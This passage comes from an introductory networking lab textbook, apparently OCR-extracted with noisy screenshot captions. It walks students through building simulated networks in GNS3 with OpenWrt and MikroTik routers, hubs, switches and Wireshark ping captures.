This device is provided by your ISP when you lease your

internet. There are hundreds of different kinds of routers, +
and they are often all-in-one devices with wireless - &=
connectivity and multiple switch ports. For this lab, we are 'b
separating the ports for teaching purposes.

Switch
Switch
The switch provides the numerous physical and wireless ->
ports needed to connect several internet capable devices (—_)
to the router so they can reach the internet signal. L o

Figure 1 - Explanation of Symbols

In this lab, the typical all-in-one device is split apart for better visualization. Look at the figures below to compare
a typical home environment with our lab environment. You can trace the route of the internet from the ISP to the
PC in both images.
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;\rfg\lﬁglezl.l-;Eifnngeac:‘%":;:i::ﬁ:ng Our lah environment. The all-in-one device is split into a separate router and
for wired and wireless devices. switch.
ISP Router Switch
WAN * LAN >
> & fo—o] &
4 «
Typical home network environment —
Simple GNS3 network

Figure 2 - Picture of final outcome

Phase Il - Setup

These steps are necessary to prepare the playing field. There a quite a few of them, but they are simple.
Complete them one at a time and you will have a working learning environment in no time.

1. Start the GNS3 application

2. Create a new project
2.1. Start by clicking File > New Blank Project on the upper left-hand side
2.2. For this example, we are using the name LAB_01

2.3. Select OK

3. Under the Servers Summary section in the bottom-left-hand corner of the workspace, verify that
both the host machine and GNS3 VM are connected by looking for the two green lights
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Servers Summary @0
&3 B17-127-15 CPU 3.4%, RAM 22.6%
£ GNS3 VM (GNS3 VM) CPU 0.0%, RA...

Figure 3 - GNS3 Working Environment is ready to go

NOTE: This can take some time depending on the hardware being used. It will be gray before it turns
green. If the VM does not start automatically, restart GNS3 and click Help > Setup Wizard to reestablish
the link to VirtualBox as outlined in Chapter 2. Do not manually start GNS3 VM before launching GNS3.

4. Connect the OpenWrt router to your simulated ISP
4.1. Complete Chapter 4

4.2. On the left side of the GNS3 environment, you can see various tools. Click on Browse all

e
‘;'0

devices as shown here

4.3. A sub-menu will appear. Click the picture of a cloud with the word NAT next to it and drag
it to the workspace
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All devices

Filter

ATM switch

" Cloud
s Ethernet hub

ﬁ Ethernet switch

' Frame Relay switch

—

- NAT

W) OpenWrt 22.03.0

[
__Ei_ Ubuntu Mate

+ New template

Figure 4 - Device icons

293
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= OF>)> HC ZELOC., &§RAME

~| Topology Summary [
Node Console
(<]

NAT1

ﬂ%eﬂﬁavf

Servers Summary o)
@ DrHVH CPU 21%. RAM 40.6%
» (@) GNS3 VM (GNS3 VM) CPU0.5%. R.

A5 errors 4 wamin)

Figure 5 - Add a NAT cloud to GNS3

NOTE: Whenever you are asked to choose a server, use the dropdown menu to select the
GNS3 VM (GNS3 VM) option.

4.4. Change the name from “NAT1” to “ISP" by double-clicking on the name and pressing OK

&

Eb G}E >-:\ THC PEllosS§0QAME

Ao n

Figure 6 - Change NAT cloud name to ISP
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4.5. Again, click on the Browse all devices

4.6. Drag the device called OpenWrt to the workplace

B OF>)> HC ZEIOC. 6§QQAMG

NetO[nH @

ISP OpenWrt22.03.0-1

Figure 7 - add OpenWRT router

4.7. The default symbol for the OpenWrt router is the universal symbol for routers, but it can
be hard to see at times. Change the symbol by right-clicking on the router and then selecting
Change Symbol on the menu
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¥ Lab1 - GNS3
File Edit View Contral Node Annotate Tools Help

e OB >)> HBC Fmlllor-fgaam

ISP OpenWrt22.03.0-1

i x Configure
>_ Console

P> Stan

1l Suspend

[ | Stop

C reload

B Custom console
Change hostname

Vi Ot S

Change symbal
Duplicate
@ show node information
& Show in file manager
4 Bring to front

=5 Raise one layer
= Lower one layer
& Lockitem

| & Delete

Figure 8 - Changing the Router Symbol

4.8. Select the Affinity-square-red option and look for the router symbol, then click on OK
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NerO [t &

B OF>>» HC ZmlIo - §aam

@ sn
Use a custom symbol ' Symboals library
Symbols

Filter:

1sp OpenE rj45
Q -):1- router

A

S router_cloud

: router2

nwy

I % Inmllim b’

0K Cancel Apply

Figure

4.9.

9 - Select the red router symbol

Double-click on the router name and change it from “OpenWrt-1" to “Router”

5. Add a network switch

5.1.

5.2.

5.3.

5.4.

5.5.

Click on the Browse all devices button again

This time drag the Ethernet switch to the workspace
Use the GNS3 VM to host the switch

Rename the device to “Switch”

Change the symbol to theAffinity-square-red option for the switch, by right-clicking on the

switch and selecting the change symbol option. The workspace should now look similar to the
following
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5 OF>) HC BEIC-§QAQAEG

ISP Router Switch

ABZednu®r

Figure 10 - add a switch

6. Add a VM with an Internet browser
6.1. Add a VM to GNS3 (we are using Ubuntu Mate, but any VM with a browser should work)
6.2. Allow GNS3 to configure VirtualBox network settings
6.2.1. Go to File > Preferences
6.2.2. Navigate to the VirtualBox VMs section
6.2.3. Double click on your imported VM

6.2.4. Under the Network tab, check the box that says Allow GNS3 to use any
configured any VirtualBox adapters

6.3. Rename the device to “PC" and your workspace should look like the following
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ISP Router Switch
() =
-
-> ‘(- «
PC
WA

Figure 11 - the network built so far

NOTE: We generally use GNS3's built-in virtual personal computer simulators (VPCS)
because using too many VirtualBox VMs can drag down your system'’s performance. However,
the VPCS does not have a browser to use the GUI interface of the OpenWrt router.

7. Link the devices together

7.1. Return to the GNS3 workspace

7.2. On the left side of the GNS3 workspace click on the Add a link button ;':

7.3. Click on the ISP cloud and then click on the nat0 port in the sub-menu
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ISP Router Switch

-
-)'(— ((:.)
| W nato ¥

PC

Figure 12 - Select NAT interface

7.4. Click on the Router and then select the Ethernet1 port in the sub-menu. It is VERY
IMPORTANT that this cable is connected to port Ethernet1. This is like plugging (screwing) in a
cable from the ISP to your home router/switch/modem port that is commonly labeled “Internet”

7.5. Click on the Router and then click on the Ethernet0 port in the sub-menu. This is like
plugging a cable into your home router/switch/modem port that is commonly labeled “1" or
HPC"

7.6. Click on the switch and select any red (unused) port

7.7. Now click on the switch and select another unused port and attach it to the PC's Ethernet0
port

a C
3
7.8. Show the interface labels by clicking on the Show/Hide interface labels button

8. Your workspace should now look like the following
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ISP Router Switch
() -
- « Hm—0] &
-> 3 (_-)
L PC

Figure 13 - All devices connected

NOTE: Notice that some of the ends show red, this means that the device is turned off or the interface
has been disabled.

[

9. Now press the big green arrow to start all the devices . All cable points should eventually turn
green as all the devices boot up
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ISP Router Switch
->
-)f(- L - ;-)
nato0 1 ¥ ed
el

Figure 14 - all connections are green

Phase lll - Interface with the Home Router

Most home routers are configured by using a PC or laptop. We are going to use our virtualized PC to do the
same thing.

1. Navigate to your VM instance and log in. Remember, in this example, we are using Ubuntu Mate
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ﬂ Ubuntu Mate [Running] - Oracle VM VirtualBox

@ vew @

student’'s Home

Figure 15 - Ubuntu Mate

2. Access the OpenWrt router management webpage
2.1. Open a browser application (ex. Firefox)
2.2. Inthe navigation bar type 192.168.1.1 and press Enter

2.3. You should be at the OpenWrt GUI interface
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i) Menu @

OpenWrt - Overview - LuCl— Mozilla Firefox
OpenWrt - Overview - Lu X +
C @ QO & 192.168.1.1

Authorization Required

Uszemame

Password

Figure 16 - Web interface for OpenWRT

2.4. The username is “root” and there is no password, so just click Login

3. It will take you to the status overview section. You can scroll through this information and see that
devices are connected to the router. The network information is the ISP and the DHCP leases show the
VM you are using now
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UPENTWTT = UVETVIEW = LULI=— MiOZIIg FIreTox

L Openwrt - Overview - Lu +
« Cc @ QO & 192.168.1.1/cgi-bin/luci/admin/status/overview o
Network

IPv4 Upstream

Protocol: DHCP client
Address: 192 168122 91/24
Gateway: 192.168.122.1
DNS 1: 192.168.122.1
Expires: Oh 34m 48
Connecled: Oh 25m 568

&= Device: Ethernet Adapter: "eth1®
MAC address: 0C:75:FD-96:00-01

Active Connections 51/7168 (0%)
Active DHCP Leases
Hostname IPv4 address MAC address Lease time remaining Static Lease
UbuntuMate {UbuntuMate lan) 192.168.1.205 08:00:27:23:32:5D 11h 34m 12s Set Static
Active DHCPv6 Leases
Host 1P el Dun | enss lima ini Static | aase

Figure 17 - OpenWRT network leases

4. If you click around on the OpenWrt router, you can see it has many of the same settings as a Linksys
or TP-Link router. Don't change any settings at this time. We want to add more devices

Phase IV - Add More Devices to the Home Network

Rarely do home networks have only a single device. So we are going to add a few more.

1. Click on the Browse all devices button and drag a VPCS device to the workspace
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& [ab1 - GRC

2 OF>)> HC PZENC6QQE

1sp Router Switch

At Ol n @
B2

—_—
RS R -2
<—*=H___,s /' nato |?i+ el ="
el
=

Figure 18 - Add a VPCS

NOTE: This device is very lightweight and does not require nearly as many resources as a VirtualBox
VM. Don't forget to use the GNS3 VM when asked

2. Use the techniques learned earlier and make the following changes
2.1. Change the VPCS symbol to a laptop
2.2. Change the name to “Laptop”

2.3. Connect a cable from the laptop to the switch



YOUR FIRST NETWORK 307

Laptop
Mathew J. Heath Van Horn
Section 01
Cl 213
!
ISP Router H
() . o
|3 & |o—— & Switch
) =
|
|
ik
PC

Figure 19 - Changing to laptop

3. Laptops are typically wireless, so let's change the connecting line to reflect this
3.1. Right-click on the cable and select Style
3.2. Onthe submenu change the border style to Dash Dot Dot.
3.3. Press Apply and OK to close the submenu
4. Turn on the laptop by right-clicking and selecting Start
5. Add the laptop to the network
5.1. Right-click on the laptop and click on Console

5.2. Read the opening statements. Note that if you get lost, you can always enter the question
mark to get assistance

5.3. At the prompt type the following command to request an IPv4 address and press Enter

> ip dhcp
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5.4. After a few seconds, you will get a message reporting which IP address was assigned

IP DHCP
"IP DHCP"

Figure 20 - VPCS (laptop) showing DHCP connection

NOTE: If you get lost, you can always enter a question mark [?] to get assistance such as
available commands and their syntax.

6. While there is no browser application to open, you can still test Internet connectivity via the ping
command

> ping www.google.com
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f the "BSD" licence.,

to get help,

ecuting the startup file

Laptop

Figure 21 - Pinging devices

CONGRATULATIONS!
YOU HAVE BUILT YOUR FIRST NETWORK IN GNS3!

End of Lab

Deliverables

One screenshot is needed of your GNS3 environment:

+  Click on the Add a note button at the top of the workspace and put your name, class, and section on

your workspace z

. Select theTake a screenshot button to save a of your workspace and submit it per the instructor's

instructions to receive credit for completing this activity -

. Example output...
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Laptop
Mathew J. Heath Van Horn
Section 01
Cl 213
°
|
ISP Router ?
1 >
> & [o—o & Switch
) il

PC

Figure 22 - Example

Assignment 1 - Add more devices

Add another VPCS and change the label connection and picture to resemble a Cell Phone

Add another VPCS and change the device's label and picture to resemble a desktop printer

0 RECOMMENDED GRADING CRITERIA

Screenshot of the new GNS3 working environment with everything labeled
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CHAPTER 15

Hubs and Switches

RAECHEL FERGUSON

Hubs are not often used in modern network environments, but learning how they operate still provides a solid
foundation to enterprise networks. Alternatively, switches are ubiquitous in network implementations. Finally,
learners can use this exercise to gain more experience with GNS3 and VirtualBox.

Estimated time for completion: 15 minutes

LEARNING OBJECTIVES

+ Understand how hubs function in a network
* Understand how switches function in a network
+ Gain further experience using GNS3

* Introduce the use of Wireshark

PREREQUISITES

+ Chapter 2 - Setting Up a GNS3 Environment

+ Chapter 14 - Your First Network

DELIVERABLES

Six screenshots are required:

+ GNS3 workspace
o With Hub
o With Switch
+ Wireshark capture between PC3 and the specified network device
o PC1 pinging PC2 (hub)
o PC2 pinging PC3 (hub)
o PC1 pinging PC2 (switch)

31
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o PC4 pinging PC3 (switch)

RESOURCES

+ NOTE: Each source will referenced with its corresponding number in superscript (EX: 1 ) at the
end of a step

+ 1."Wireshark Introduction.” Chapter 1. introduction. Accessed May 27, 2024. https://www.wireshark.org/
docs/wsug_html_chunked/Chapterintroduction.html.

« 2.Bombal, David. "GNS3 Tips: Using the GNS3 Hub and Switch with Wireshark (Part 1).” YouTube,
November 28, 2016. https://www.youtube.com/watch?v=IHcF6EKXMP]O.

+ 3. Bombal, David. “GNS3 Tips: Using the GNS3 Hub and Switch with Wireshark (Part 2).” YouTube,
November 28, 2016. https://www.youtube.com/watch?v=27KdkTOyIxg&t=2s.

« 4. Bombal, David. "GNS3 Tips: Using the GNS3 Hub and Switch with Wireshark (Part 3).” YouTube,
November 28, 2016. https://www.youtube.com/watch?v=kgFXxGM9E3tI&t=1s.

CONTRIBUTORS AND TESTERS

+ Sawyer T. Hansen, Cybersecurity Student, ERAU Prescott

* Quinton D. Heath Van Horn, 7th grade

+ David Reese, Mathematics Major, SUNY Bridgeport

+ Stephen Torres, 9th grade

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
« Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Setup

We complete the setup first so that we can focus on the learning activities later on. Your network should look
like the following image:



https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html
https://www.wireshark.org/docs/wsug_html_chunked/ChapterIntroduction.html
https://www.youtube.com/watch?v=lHcF6KXMPJ0
https://www.youtube.com/watch?v=lHcF6KXMPJ0
https://www.youtube.com/watch?v=27KdkT0yIxg&t=2s
https://www.youtube.com/watch?v=27KdkT0yIxg&t=2s
https://www.youtube.com/watch?v=kgFxGM9E3tI&t=1s
https://www.youtube.com/watch?v=kgFxGM9E3tI&t=1s
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192.168.1.2
PC2

192.168.1.1 192.168.1.3

PC4
192.168.1.4

Figure 1 - Final Network Topology

1. Start GNS3

1.1. Create a new blank project: LAB_02

313

1.2. Verify the GNS3 VM is running by looking for the green light under the Servers Summary

section

Servers Summary =
£ B17-127-15 CPU 3.4%, RAM 22.6%
€3 GNS3 VM (GNS3 VM) CPU 0.0%, RA...

Figure 2 - GNS3 server summary
2. Add a hub to the GNS3 workspace 2

e

2.1. Click on Browse all devices
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2.2. Drag the Ethernet hub device into the workspace

NOTE: When given the option, remember to always choose GNS3 VM as the server to host
devices.

3. Add the PCs to the network
3.1. Click on Browse all devices °
3.2. Drag a VPCS device to the main workspace 2
3.3. Repeat this three more times so you have four VPCS devices in the workspace 2

4. Add labels and change device symbols as you see fit

PC2

PC1 Hub PC3

PC4

Figure 3 - GNS3 Workplace
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Phase Il - Assign an IP address for each of the PCs

We will learn more about networking addresses later on. However, for now, just know that an IP address is like
a mailing address or a person’s name. It is used to identify “This Device” amongst a sea of other IT devices. We
are going to name our devices, but instead of using names like “Todd” or “Main Street”, we are giving the device a
name like “192.168.10.56".

1. Our network space for this lab is 192.168.1.0/24

.

2. Click Start/Resume all nodes to power on all devices
3. Assign an IP address to PC1 2

3.1. Right-click on PC1 and select Console 2

3.2. Atthe PC1 prompt, assign it an IP address with a Class C subnet mask 2

Figure 4 - VPCS assign IP address

3.3. Atthe PC1 prompt type “save” to keep the IP configuration the next time the PCis
rebooted

3.4. After a few seconds, the newly entered IP address will be assigned to PC1

315
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LPORT
RHOST +PORT
HTU

b |
Figure 5 - Display currently assigned IP address
3.5. Inthe GNS3 workspace add a text label of “192.168.1.1" next to PC1

4. Repeat the step 3 to configure IP addresses for the remaining PCs (Figure 6)

PC1 192.168.1.1

PC2 192.168.1.2

PC3 192.168.1.3

PC4 192.168.1.4

Phase Il - Connect the devices

We have to connect the devices to the hub in order for the devices to ‘talk’ to each other. Even wireless devices
have a connection, we can't see it with our eyes, but there is a connection.

1. Connect PC1

1.1. On the left side of the GNS3 workspace click the Add a link option 2 ':g
1.2. Click on PC1 and select Ethernet0 port in the sub-menu 2
1.3. Click on the hub and select any open Ethernet port available 2

a_c
3
1.4. Click the Show/Hide interface labels to view the connections b+

2. Repeat step 1 for the remaining PCs


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/lbld_topology_lab2.png
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192.168.1.2
PC2

192.168.1.1 192.168.1.3

PC4
192.168.1.4

Figure 7 - Finalized GNS3 network

NOTE: You can right-click anywhere in the workspace to de-select the cable.

Phase IV - Observe the network communications

We can use a common network monitoring tool called Wireshark to view how the networked devices ‘talk’
to each other. Think of electricity in a home. In order to ‘see’ the electricity, we use a tool called a voltmeter.
Wireshark is a great tool to watch live network packets as they are transmitted.

1. Start a Wireshark capture between PC2 and the hub
1.1. Hover your mouse over the connection between the two devices 3
1.2. Right-click the cable between the two devices and select Start captureg(Figure 8)
1.3. A new Wireshark window will open 3 (Figure 9)

1.4. A magnifying glass will appear on the wire to show you where the network sniffing is


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/start_capture.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft-Ch2-Figure7.png
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-

:."

taking place ”
2. Now open the PC1 console and ping the IP address for PC2

> ping 192.168.1.2

PCL> ping 1392,

Figure 10 - PC1 pinging PC2

3. Now watch for the ICMP ping requests and replies in the Wireshark window 1.3

192.168.1.1 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.1 ICMP Echo (ping) reply
192.168.1.1 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.1 ICMP Echo (ping) reply
192.168.1.1 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.1 ICMP Echo (ping) reply
192.168.1.1 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.1 ICMP Echo (ping) reply
192.168.1.1 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.1 ICMP Echo (ping) reply

Figure 11 - Captured ICMP packets in Wireshark

NOTE: Don't be overwhelmed by the amount of information and options available within Wireshark. Right
now, we are only looking at a small fraction of all possible network traffic. One benefit of using these simulated
network environments is to focus only on information that is important, so that we can build up to observing
more complicated packet streams in the future.

Phase V - Observe Hub Operations

Hubs are unique in that when any ethernet packet is sent to the hub, the hub will retransmit the packet to
every device connected to the hub. Any PC on the network can see the ethernet packets of every device using the
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network. This eavesdropping is one of the reasons that hubs are rarely used anymore. We are going to watch
how PC1 can eavesdrop on the packets being sent between PC2 and PC3.

1. Ensure you have an active Wireshark capture on the PC1-Hub connection 3

2. Open the console on PC2 and ping PC3

> ping 192.168.1.3

3. In Wireshark, observe the packets between PC2 and PC3 1.3

192.168.1.3 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.3 ICMP Echo (ping) reply
192.168.1.3 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.3 ICMP Echo (ping) reply
192.168.1.3 192.168.1.2 ICMP Echo (ping) request
192.168.1.2 192.168.1.3 ICMP Echo (ping) reply
192.168.1.3 192.168.1.2 ICMP Echo (ping) request
1.2 1.3 Echo (ping)

Figure 12 - Captured ICMP packets in Wireshark

4. Feel free to experiment; try capturing packets between any PC and the hub and then ping different
PCs

Phase VI - Replace the hub with a switch

Switches vary widely in function and purpose. However, the one thing they have in common is what makes
them different from hubs. Switches only forward Ethernet packets from the source to the destination. We are
going to watch what our packets do when we replace a hub with a switch

1. Replace the hub with an Ethernet switch
1.1. Right-click on the hub and delete it from the workspace 4
1.2. Click on Browse all devices 4

4

1.3. Drag the device labeled Ethernet switch to the workspace

2. Reconnect the computers to the switch by attaching cables
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NOTE: Again, don't worry about what interfaces to use. | personally use interface 1 for PC1, and
interface 2 for PC2, etc., but it doesn't matter for this lab.

3. Start a Wireshark capture between the PC3-Switch connection 4

4. From the PC1 console, ping PC3

> ping 192.168.1.3

4.1. On Wireshark, you should see the same ICMP request and reply packets as you did
L 14
earlier

5. From the PC1 console, ping PC2

> ping 192.168.1.2

5.1. Notice how, unlike the hub, you will not see the ping conversation between PC1 and PC3
in the Wireshark capture 14

6. Feel free to experiment by watching different connections and pinging different devices

End of Lab

Deliverables

Six screenshots are required to receive credit for this exercise:

+  Two GNS3 networks with device connections green and neatly labeled
° Ethernet hub being used
° Ethernet switch being used

*  Wireshark capture between PC3 and the associated network device
° PC1 pinging PC2 [hub]
° PC2 pinging PC3 [hub]
° PC1 pinging PC2 [switch]
° PC4 pinging PC3 [switch]
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Assignment 1 - Build a GNS3 network using 4 PCs and 1 hub

PC 56.121.14 255.255.2
9.10 55.0

PC 56.121.14 255.255.2
9.20 55.0

2

PC 56.121.14 255.255.2
3 9.30 55.0

PC 56.121.14 255.255.2
4 9.40 55.0

Assignment 2 - Build a GNS3 network using 4 PCs and 2 hubs. Connect hub 1 to hub 2 and follow the
connection table below.

1 PC1 120.107.148.50 255.255.255.0
1 PC2 120.107.148.75 255.255.255.0
2 PC3 120.107.148.200 255.255.255.0
2 PC4 120.107.148.240 255.255.255.0

Recommended binary grading criteria:
«  Screenshot of GNS3 Working environment where:

o All connections are made according to instructions
o All connections are properly labeled with the correct IP address

° Interface labels are turned on

. Screenshot of Wireshark packet captures taken from the PC3-Hub link:

o PC1 successfully pinging PC2
o PC1 successfully pinging PC4
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List of Figures for Print Copy

192.168.1.2
PC2
PC1 Hub PC3
192.168.1.1 192.168.1.3
PC4
192.168.1.4

Figure 6 - Assign IP addresses to each VPC
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p Start capture

T Packet filters

92.168.1.1 | Suspend ]
X style
() Delete

/—\

Figure 8 - Start a Wireshark capture
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‘ The Wireshark Network Analyzer [PC1 Ethernet0 to Hub1 Ethernet1] = Od X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR A® =—OREIQes=EZF S [EQaQarE

[I |Apply a display filter ... <Ctrl-/> = '] +
7 Ready to load or capture | No Packets | Profile: Default ..

Figure 9 - A new Wireshark window
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CHAPTER 16

Introduction to Routers

JACOB CHRISTENSEN

Simply stated, where switches and hubs connect end devices (desktops, laptops, smartphones, etc.), routers
connect switches and hubs to each other. Routers are the devices that enable the internet to function. This is an
elementary introduction to using routers for first-time learners. This lab will build two LANs and connect them
using a MikroTik router.

Estimated time for completion: 20 minutes

LEARNING OBJECTIVES

+ Demonstrate successful router configuration using two or more local area networks
+ Increase experience in utilizing virtual environments in learning enterprise networks

+ Analyze Wireshark results to identify ethernet packets and frames

PREREQUISITES

* Chapter 3 - Adding a MikroTik Appliance in GNS3
+ Chapter 15 - Hubs and Switches

DELIVERABLES

Four screenshots are required:

+ PC1 console successfully pinging PC4
* Wireshark results (ICMP packets) of PC2 successfully pinging PC3
* Neatly labeled and organized GNS3 Workspace

+ Configuration settings of the MikroTik router console (interface print, ip address print)

RESOURCES

+ MikroTik RouterOS Documentation, https://help.mikrotik.com/docs/display/ROS/RouterOS
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CONTRIBUTORS AND TESTERS

* Quinton D. Heath Van Horn, 7th grade

+ David Reese, Mathematics Student, SUNY Bridgeport
+ Julian Romano, Cybersecurity Student, ERAU-Prescott
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

+ Sawyer Hansen, Cybersecurity Student, ERAU-Prescott

NOTE: Students should be familiar enough with GNS3 by now to understand the commands. This lab starts
reducing the number of screenshots since these things were documented in previous chapters.

You are going to use your LAN knowledge and build two networks. You will then use a router to connect these
networks together. Your final product should look similar to this.

MIKROTIK-ROUTER

RED LAN BLUE LAN

100.10.10.0/24 200.20.20.0/24

RED-SWITCH BLUE-SWITCH

.1 .2 .10 .20

Figure 1 - Final network topology

Phase | - Configure the Red and Blue Networks

Most networks have a specific purpose. The network can be centered around a function (marketing) or
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geography (front building). In our examples, we generally use colors to abstract the learners from the specific
functions. This way learners won't be locked into a certain configuration for an “Accounting” department.

1. Start GNS3
1.1. Create a new project: LAB_03

2. Build the Red LAN with the network address 100.10.10.0 and netmask 255.255.255.0

NOTE: /24 is CIDR notation for the subnet mask of 255.255.255.0, which is itself a decimal
representation of the binary octets 11111111.11111111.11111111.00000000 used to name network
interfaces (the /24 represents the number of 1's used). These PC's happen to accept CIDR notation and
subnet mask notation, but not all end devices do. So get familiar with using both ways to assign IP
addresses.

2.1. Use two VPCS devices for PC1 and PC2

2.2. Add an Ethernet switch

2.3. Connect the PCs to the switch

2.4. Start the PCs and assign them appropriate host addresses

2.4.1. Configure PC1 to have a host address of 100.10.10.1

> ip 100.10.10.1/24

2.4.2. Configure PC2 to have a host address of 100.10.10.2

> ip 100.10.10.2/24

> save

2.5. Organize your network

2.5.1. Label the machines with both their IP address and hostname for clarity
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2.5.2. Add a textbox with the subnet network address using either CIDR notation or
traditional subnet masks

2.5.3. To help visually differentiate the subnets, change the device symbols or use the
Draw a rectangle button to encapsulate the LAN with its associated color

NOTE: You may have to send the square to the background by right-clicking on it
and then selecting the Lower one-layer option.

2.6. Test network connectivity by opening the console for PC1 and pinging PC2

> ping 100.10.10.2

3. Repeat to build Blue LAN with the network space of 200.20.20.0/24
3.1. Configure PC3 with the host address 200.20.20.10
3.2. Configure PC4 with the host address 200.20.20.20

4. Verify your network looks similar to the following
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RED LAN BLUE LAN
100.10.10.0/24 200.20.20.0
255.255.255.0
RED-SWITCH BLUE-SWITCH
«3
1:-
PC1 PC2
= e = e
1 .2 200.20.20.10 200.20.20.20

Figure 2 - Basic GNS3 network

NOTE: In the figures, you can see different methods of labeling and visual organization:

*  The Red LAN posts the network ID and just the host part is next to the device

+  The Blue LAN uses the complete network ID next to each device

Phase Il - Connect the LANs to a Router

As discussed earlier, hubs and switches connect end devices to create LANs (an over simplistic explanation, but
it suffices in this instance). Now we are going to use a router to connect the individual LANs to form an enterprise
network.

1. Import the MikroTik appliance from GNS3 marketplace
2. Connect the Red and Blue LANSs to a router
2.1. Drag a MikroTik router to the workplace
2.2. Connect a cable from the Red switch to the ether1 router interface

2.3. Connect a cable from the Blue switch to the ether2 router interface
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NOTE: Unlike the switches, taking note of which router ports are in use is VERY
IMPORTANT!

3. Start the router and open its console (Figure 3)
3.1. Login: admin
3.2. Password: (nothing just hit Enter)

3.3. Set a new password (ex. Security1)

NOTE: You can change the hostname of the router for clarity. This will be useful when we
build more complicated and interconnected networks later.

admin@
[admin@

Figure 4 - Set new router hostname

MikroTik Router Troubleshooting

If the router is stuck in an infinite boot-loop (throttling), ensure that KVM acceleration is
DISABLED in the GNS3 VM configuration file.



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/mikrotik-login.png
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GHN53 2.2.41
Information Display WM information
Channel Select the release channel
lpgrade Upgrade the GHS3 WM
Shell Open a shell
Log Show the GHS3 server log
Test Check Internet connection
Hemu Switch Gemu wersion
SECUrity Configure server authentication
Keyhoard Change keyboard layout
Console Change console settings (font size etc.!
onf igure Edit =server configuration (advanced users
FProxy Contfigure proxy settings
Hetwark Configure network settings
Migrate Migrate data to another GNS3 WM
Festore Restore the WM (if an upgrade has failed)
Shrink Shrink the WM disk
Rehboot Reboot the WM
Shut dawn Shutdown the WM

Figure 5 - GNS3 VM main menu

[Qemu]
enable_kvm = f

Figure 6 - GNS3 VM configuration

4. Configure ether1 with a Red IP address (Figure 7)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/gateway_ether1.png
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4.1. View the list of ethernet ports on the router

> interface print

4.2. Assign the IP address of 100.10.10.150 to ether1

> ip address add address=100.10.10.150/24 interface=etherl

4.3. Ensure the IP address has been taken

> ip address print

4.4. From the MikroTik router, try pinging one of the Red PCs from its console
[zdmin@ 3 100,10,10,1

Bl

(L Nay NNy
o Mmoo

A
my

[admin@

Figure 8 - VPCS connectivity test

NOTE: Routers will ping indefinitely whereas end devices usually only ping 4 to 5 times. This
continuous pinging offered by routers aids in troubleshooting efforts. To stop the pinging,
make sure the MikroTik console is active and press Ctrl/+C.

4.5. Troubleshoot as necessary until there’s connectivity between the Red PCs and ether1 on
the router

5. Configure ether2 with the Blue IP address of 200.20.20.250 by following step 4

6. Verify that your network looks similar to the following
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MIKROTIK-ROUTER

RED LAN 150 _}1‘(_ 250 BLUE LAN
100.10.10.0/24 ¥ 200.20.20.0
\ 255.255.255.0
RED-SWITCH \\ BLUE-SWITCH
Y p—
o
«2
<
PC1 PC2 PC3 f | PCa
.1 .2 200.20.20.10 200.20.20.20

Figure 9 - Finalized GNS3 network

7. From PC4, try to ping PC1

NOTE: You will get a No gateway found error. This is expected. At the time we built our LANs, we didn't
have a router. Now we need to configure our PCs to include the gateway address for their respective
networks. The gateway address is the address the endpoint (ex PC1) needs to send its packets when the
destination is outside of the LAN.

ping 100,10,10,1

Mo gateway found

ey |

Figure 10 - No gateway found

8. Use the VPCS IP command to assign each PC a gateway address
8.1. The gateway address for the Red network is 100.10.10.150 (router port etherT1)

8.2. Configure PC1's gateway addresses
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> ip 100.10.10.1/24 100.10.10.150

8.3. Configure PC2's gateway address

> ip 100.10.10.2/24 100.10.10.150

8.4. Repeat these steps to add the appropriate gateway address (200.20.20.250) to PC3 and
PC4

Phase Ill - Testing your network

Testing - Testing - Testing. It never ends.

1. Open Wireshark packet capture between PC1 and the Red Switch

2. Use PC1's console to ping PC4

> ping 200.20.20,20

PCL> ping

icmp_
icmp_
icmp_
icmp_
icm

Figure 11 - PC1 pinging PC4

3. Watch Wireshark for the ARP and ICMP packets
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le@.1@.
200.20.
le@.1@.
200.20.
le@.1@.
200.20.
le@.1@.
200.20.

200.20.280.
16@.18.18.
200.20.280.
16@.18.18.
200.20.280.
16@.18.18.
200.20.280.
16@.18.18.
Bc:69:be:3b:00:00 80:50:79:66:6..
BE:50:79:66:68:00 Oc:69:be:3b:0..

Figure 12 - Wireshark packet capture

ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
ARP

ARP

Echo
Echo
Echo
Echo
Echo
Echo

(ping)
(ping)
(ping)
(ping)
(ping)
(ping)
Echo (ping)
Echo (ping)
Who has 180.
100.10.10.1

4. Verify that you can do this between any two points in the network

End of Lab

request
reply
request
reply
request
reply
request
reply
10.10.17
is at @e

Deliverables

. PC1 console successfully pinging PC4

Four screenshots are required to receive credit for this exercise:

J Neatly labeled and organized GNS3 Workspace

+  Wireshark results (ICMP packets) of PC2 successfully pinging PC3

Configuration settings of the MikroTik router console (interface print, ip address print)

PC5

Assignment 1 - Add Green LAN to the network.

177.50.0.1

255.255.255.0

177.50.0.250

PC6

177.50.0.2

255.255.255.0

177.50.0.250

Router Interface

177.50.0.250

255.255.255.0

none-this is the gateway!

Assignment 2 - Add Purple LAN to the network.
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DEVICE IP ADDRESS NETWORK MASK GATEWAY ADDRESS
PC7 10.10.0.1 255.255.0.0 10.10.255.250

PC8 10.10.0.2 255.255.0.0 10.10.255.250

PC9 10.10.0.3 255.255.0.0 10.10.255.250

PC10 10.10.100.1 255.255.0.0 10.10.255.250

Router Interface 10.10.255.250 255.255.0.0 none-this is the gateway!

Recommended binary grading criteria:

. Screenshot of the GNS3 Working environment where:

o All connections are made according to instructions

o All connections are labeled with the correct IP Address

° Interface labels are turned on

° Everything is organized neatly

+  Screenshot of Wireshark packet captures taken from the PC5-Switch link

